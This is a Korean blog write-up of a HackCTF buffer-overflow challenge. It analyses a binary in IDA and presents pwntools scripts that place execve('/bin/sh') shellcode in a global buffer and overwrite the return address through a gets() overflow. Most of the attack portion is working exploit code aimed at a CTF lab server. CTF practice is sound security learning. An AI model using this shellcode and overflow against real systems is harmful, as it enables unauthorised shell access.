내 버퍼가 흘러넘친다!!! 풀이

2021. 7. 12. 00:01HackCTF

728x90

문제 정보
주어진 prob1 파일을 IDA로 디컴파일

우선 char형 배열 s를 선언합니다.

s의 크기는 0x14(10진수로 20)입니다.

 

그리고 read 함수로 0x32(10진수로 50) 크기의 name을 입력받는데...

저 name은 main 안에 없는거 보면 아마 전역 변수인 것 같습니다.

 

그리고 gets 함수로 s를 입력받습니다.

 

일단 name, s 둘 다 오버플로우의 가능성은 있어보입니다.

우선 입력받는 순서대로 name을 먼저 보고, 그다음 s를 보겠습니다.

 

bss영역에서 name 변수를 찾았다

name을 전역 변수라고 생각하고 Shift+F7로 bss 영역을 열어봤습니다.

IDA 쓰시는 다른 분들 블로그 보니 단축키가 아주 잘 정리돼있더라고요...ㅎㅎ 감사합니다

역시나 bss영역에 name이 있었습니다.

name의 주소는 0x804A060이라고 나와있습니다.

 

기본적인 정보 수집은 끝났으니 이제 어떻게 오버플로우를 발생시킬지 고민을 해봐야 합니다.

name이랑 s 둘 중 하나에는 쉘코드를 넣어놓고, 나머지 하나는 ret에 쉘코드를 넣어놓은 변수의 주소를 넣어서 실행을 시키면 쉘코드가 정상적으로 실행될 것 같습니다.

 

name, s 중에서 먼저 실행되는 게 name이고 주소도 알고 있으니 name에 쉘 코드를 집어넣고 s로 실행시켜보겠습니다.

 

from pwn import *

p=remote("ctf.j0n9hyun.xyz",3003)

shell="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
a=0x0804A060
go='a'*2+p32(a)

p.recvuntil("Name : ")
p.sendline(shell)
p.recvuntil("input : ")
p.sendline(go)

p.interactive()

???

분명 맞게 짰다고 생각했는데 FLAG가 나오지 않습니다.

코드의 어느 부분이 문제인지 찾아보도록 하겠습니다.

 

from pwn import *

p=remote("ctf.j0n9hyun.xyz",3003)

shell="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
a=0x0804A060
go='a'*24+p32(a)

p.recvuntil("Name : ")
p.sendline(shell)
p.recvuntil("input : ")
p.sendline(go)

p.interactive()

...ㅋㅋㅋㅋㅋㅋㅋ

2번째 페이로드에서 'a'에 24를 곱해야 하는데 2만 써놨네요.

아무래도 코드 수정하면서 실수로 지워버린 것 같습니다.

.... 저것 때문에 20분을 날려버렸네요

 

FLAG 획득 완료
문제 풀이 성공

728x90

'HackCTF' 카테고리의 다른 글

Simple_Overflow_ver_2 풀이  (0) 2021.07.14
x64 Simple_size_BOF 풀이  (0) 2021.07.13
x64 Buffer Overflow 풀이  (0) 2021.06.16
Basic_BOF #2 풀이  (0) 2021.06.16
Basic_BOF #1 풀이  (0) 2021.06.15